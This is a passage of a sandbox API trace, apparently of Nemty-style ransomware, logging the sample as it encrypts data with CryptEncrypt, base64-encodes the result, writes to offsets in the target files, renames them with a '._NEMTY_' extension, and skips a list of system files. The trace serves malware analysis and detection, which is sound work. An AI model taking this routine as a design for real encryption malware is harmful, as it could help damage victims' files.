lpWideCharStr="wmpnss_color48.bmp", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.bmp", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.bmp", lpUsedDefaultChar=0x0) returned 18 [0106.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94258 [0106.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94300 | out: hHeap=0x4f90000) returned 1 [0106.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94300 [0106.762] Sleep (dwMilliseconds=0x5) [0106.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3488730, dwHighDateTime=0x1d561e7)) [0106.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf3488730, dwHighDateTime=0x1d561e7)) [0106.771] GetLastError () returned 0x5 [0106.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0106.772] GetLastError () returned 0x5 [0106.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0106.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0106.772] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0106.772] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0106.772] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0106.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0106.772] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="B23Ss83+7dEOId/zvyiLwlOF6HygbwCV05e6H1aHRLJKcBbPPzUNW08faXFO4Xm3\r\nHU6SJW2/dZm9ae3vOFENZAMzy+DZasxvG8T103clMx7bTNjGHabIy7pJYMg68l/O\r\nsRGRPHVDpLzMnT7OWd5LD9231wq2UViFNwVT78azyzMNwRZ6f2ZYcsel9++5aVzm\r\nK9ozv0/5jMbNKMSPR1Qm8UZDGgJcodaeVOSg9+jj025DHsCQVLBSZnhwHmeYCzRo\r\nnpxoVfXuoW5kQyhq1JsBFmP11ysoW588Yhz8IGN3sXREbzMPLiIBCxR5SVHdXGCJ\r\nhMScaD/VNH8N1PL7Ra0IsA==\r\n", pcchString=0x653ef9c) returned 1 [0106.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0106.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0106.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0106.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0106.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0106.772] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.772] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0106.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0106.772] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.772] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.802] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.802] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.802] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.821] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.821] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.821] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.830] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.830] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.830] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.839] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.839] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.839] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.860] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0106.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.881] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0106.881] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0106.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0106.881] CloseHandle (hObject=0xffffffff) returned 0 [0106.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0106.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0106.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0106.881] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0106.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0106.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0106.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0106.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340308 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0106.882] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.bmp"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.bmp._nemty_kgobjgd_")) returned 0 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94300 | out: hHeap=0x4f90000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0106.882] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.882] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf44a163, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xaf44a163, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x6c3140d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c85, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wmpnss_color48.jpg", cAlternateFileName="")) returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2=".") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="..") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="...") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="windows") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="$RECYCLE.BIN") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="rsa") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="NTDETECT.COM") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="ntldr") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="MSDOS.SYS") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="IO.SYS") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="boot.ini") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="boot.ini") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="AUTOEXEC.BAT") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="ntuser.dat") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="desktop.ini") returned 1 [0106.882] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="CONFIG.SYS") returned 1 [0106.883] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="RECYCLER") returned 1 [0106.883] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="BOOTSECT.BAK") returned 1 [0106.883] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="bootmgr") returned 1 [0106.883] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="programdata") returned 1 [0106.883] lstrcmpiW (lpString1="wmpnss_color48.jpg", lpString2="appdata") returned 1 [0106.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.jpg", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.jpg", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.jpg", lpUsedDefaultChar=0x0) returned 18 [0106.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0106.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.jpg", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.jpg", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.jpg", lpUsedDefaultChar=0x0) returned 18 [0106.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0106.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0106.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.jpg", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0106.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.jpg", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.jpg", lpUsedDefaultChar=0x0) returned 18 [0106.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0106.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.jpg", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0106.883] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnss_color48.jpg", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnss_color48.jpg", lpUsedDefaultChar=0x0) returned 18 [0106.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0106.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94300 [0106.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0106.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94258 [0106.883] Sleep (dwMilliseconds=0x5) [0106.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf35b9230, dwHighDateTime=0x1d561e7)) [0106.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf35b9230, dwHighDateTime=0x1d561e7)) [0106.889] GetLastError () returned 0x5 [0106.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0106.889] GetLastError () returned 0x5 [0106.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0106.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0106.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0106.889] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0106.889] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0106.889] CryptBinaryToStringA (in: 